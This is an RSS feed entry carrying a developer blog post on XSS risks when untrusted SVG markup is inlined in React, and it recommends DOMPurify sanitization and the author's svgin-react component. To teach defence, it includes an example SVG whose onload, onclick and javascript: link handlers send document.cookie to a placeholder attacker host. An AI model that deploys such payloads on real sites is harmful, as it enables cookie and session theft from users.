<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Akhil K</title>
    <description>The latest articles on DEV Community by Akhil K (@akhiakl).</description>
    <link>https://dev.to/akhiakl</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4109941%2Fd204b0ec-3098-41b7-9cfc-5d7571659be2.png</url>
      <title>DEV Community: Akhil K</title>
      <link>https://dev.to/akhiakl</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/akhiakl"/>
    <language>en</language>
    <item>
      <title>How svgin-react renders SVGs as real, styleable elements without the XSS risk</title>
      <dc:creator>Akhil K</dc:creator>
      <pubDate>Fri, 04 Sep 2026 18:01:35 +0000</pubDate>
      <link>https://dev.to/akhiakl/how-svgin-react-renders-svgs-as-real-styleable-elements-without-the-xss-risk-2hod</link>
      <guid>https://dev.to/akhiakl/how-svgin-react-renders-svgs-as-real-styleable-elements-without-the-xss-risk-2hod</guid>
      <description>&lt;p&gt;Say you're fetching an SVG from somewhere you don't fully control. A CMS field, a user upload, an API response. Is it safe to render?&lt;/p&gt;

&lt;p&gt;Most people never actually think about this until it bites them, because "SVG" sounds like an image format, not something that can run code.&lt;/p&gt;

&lt;h2&gt;
  
  
  The img tag is fine
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;cmsIconUrl&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="na"&gt;width&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is safe. When a browser loads an SVG through &lt;code&gt;img&lt;/code&gt;, it treats it purely as an image resource. No &lt;code&gt;script&lt;/code&gt; tags run, no &lt;code&gt;onload&lt;/code&gt; or &lt;code&gt;onclick&lt;/code&gt; fires, nothing navigates. You can point this at genuinely untrusted content and nothing executes.&lt;/p&gt;

&lt;p&gt;The problem is you can't style it. No &lt;code&gt;fill: currentColor&lt;/code&gt; to pick up your theme, no hover states, no animating a path, no reaching into an inner &lt;code&gt;circle&lt;/code&gt; with CSS. It's just a box as far as your stylesheet is concerned, even though the SVG underneath is literally just text.&lt;/p&gt;

&lt;h2&gt;
  
  
  Styling it means putting it in the DOM, and that's where things change
&lt;/h2&gt;

&lt;p&gt;To actually style an SVG, the markup has to be real elements in the page, not a referenced image:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Icon&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;svg&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;dangerouslySetInnerHTML&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;__html&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;svg&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The second you do this, all the safety from the img case is gone. This is now the same as dumping arbitrary HTML into your page. A totally normal-looking "icon" can carry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;svg&lt;/span&gt; &lt;span class="na"&gt;onload=&lt;/span&gt;&lt;span class="s"&gt;"fetch('https://evil.example/steal?c=' + document.cookie)"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;rect&lt;/span&gt; &lt;span class="na"&gt;onclick=&lt;/span&gt;&lt;span class="s"&gt;"fetch('https://evil.example/steal?c=' + document.cookie)"&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"100"&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"100"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"javascript:fetch('https://evil.example/steal?c=' + document.cookie)"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;text&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;"20"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Click for details&lt;span class="nt"&gt;&amp;lt;/text&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/svg&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;onload&lt;/code&gt; fires the moment the SVG mounts. It's not tied to a page navigation, it fires the same way when the markup gets set via &lt;code&gt;innerHTML&lt;/code&gt;, in every current browser. &lt;code&gt;onclick&lt;/code&gt; and any other handler fire on interaction like they would anywhere else in the DOM. A &lt;code&gt;javascript:&lt;/code&gt; URI runs when someone clicks through an &lt;code&gt;a&lt;/code&gt; tag, same as regular HTML.&lt;/p&gt;

&lt;p&gt;One thing that trips people up in the other direction: a plain &lt;code&gt;script&lt;/code&gt; tag set via &lt;code&gt;innerHTML&lt;/code&gt; or &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt; will not run on its own. Browsers deliberately neuter script elements inserted that way. That's true, but don't treat it as a safety net. It only covers that one tag, it stops applying the moment the markup reaches the DOM through some other path, and it does nothing for the handlers and URIs above, which is the actual exposure. That's why sanitizers strip &lt;code&gt;script&lt;/code&gt; anyway instead of relying on that quirk holding up forever.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fixing it isn't hard, it's just easy to forget
&lt;/h2&gt;

&lt;p&gt;Sanitize before anything touches the DOM. Strip &lt;code&gt;script&lt;/code&gt;, strip event handler attributes, strip &lt;code&gt;javascript:&lt;/code&gt;/&lt;code&gt;data:&lt;/code&gt; URIs, keep the drawing instructions. &lt;a href="https://github.com/cure53/DOMPurify" rel="noopener noreferrer"&gt;DOMPurify&lt;/a&gt; already does this well and ships an SVG profile:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;DOMPurify&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dompurify&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;clean&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;DOMPurify&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sanitize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dirtySvg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;USE_PROFILES&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;svg&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's most of the actual fix. What's left is doing it every single time, on the client and on any server render path, without ever forgetting, which really just means it has to be the default behavior of whatever fetches and renders the SVG, not a step you have to remember.&lt;/p&gt;

&lt;p&gt;That's why I built &lt;a href="https://github.com/akhiakl/svgin-react" rel="noopener noreferrer"&gt;svgin-react&lt;/a&gt;. It's an &lt;code&gt;SvgIn&lt;/code&gt; component that fetches an SVG, sanitizes it with DOMPurify by default, and renders a real element you can style, in client components and React Server Components alike.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;SvgIn&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;svgin-react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;SvgIn&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"/icons/alert.svg"&lt;/span&gt; &lt;span class="na"&gt;width&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="na"&gt;fill&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"currentColor"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Worth being upfront about what's actually going on under the hood, since it's the same thing this whole post is about. &lt;code&gt;SvgIn&lt;/code&gt; renders a real &lt;code&gt;svg&lt;/code&gt; element in the DOM, not an &lt;code&gt;img&lt;/code&gt;. It has to, that's the only way &lt;code&gt;fill&lt;/code&gt; and &lt;code&gt;className&lt;/code&gt; and CSS targeting work at all. So it's taking the exact path that needs sanitization to be safe, not the path that's safe by default. The reason it's still safe out of the box is that sanitization runs before render every single time, unconditionally, unless you explicitly opt out with &lt;code&gt;disableSanitization&lt;/code&gt; or hand it your own &lt;code&gt;sanitizeFn&lt;/code&gt;. Skip that and it's exactly as exposed as any other &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt;. There's no magic here, just making sure the step that has to happen actually happens, every time, instead of depending on whoever's calling it to remember.&lt;/p&gt;

&lt;p&gt;One detail that's easy to get wrong either way: animated SVGs still work. &lt;code&gt;animate&lt;/code&gt;, &lt;code&gt;animateTransform&lt;/code&gt;, and friends are timing and interpolation, not code, so they're allowed through. What gets stripped is &lt;code&gt;onbegin&lt;/code&gt;/&lt;code&gt;onend&lt;/code&gt;/&lt;code&gt;onrepeat&lt;/code&gt; attributes on those elements, same rule as &lt;code&gt;onclick&lt;/code&gt; and &lt;code&gt;onload&lt;/code&gt; elsewhere in the SVG.&lt;/p&gt;

&lt;p&gt;There's a &lt;a href="https://svgin-react-tryit.vercel.app" rel="noopener noreferrer"&gt;live demo&lt;/a&gt; where you can load the "Malicious" example and watch exactly what gets stripped, or paste your own.&lt;/p&gt;

&lt;p&gt;Whatever you end up using though, the actual rule doesn't change: if your SVG only ever goes through &lt;code&gt;img src&lt;/code&gt;, you're fine. The second it needs to be inlined for styling, treat it exactly as carefully as you'd treat raw HTML from that same source. Because that's what it is.&lt;/p&gt;

</description>
      <category>react</category>
      <category>security</category>
      <category>javascript</category>
      <category>webdev</category>
    </item>
  </channel>
</rss>
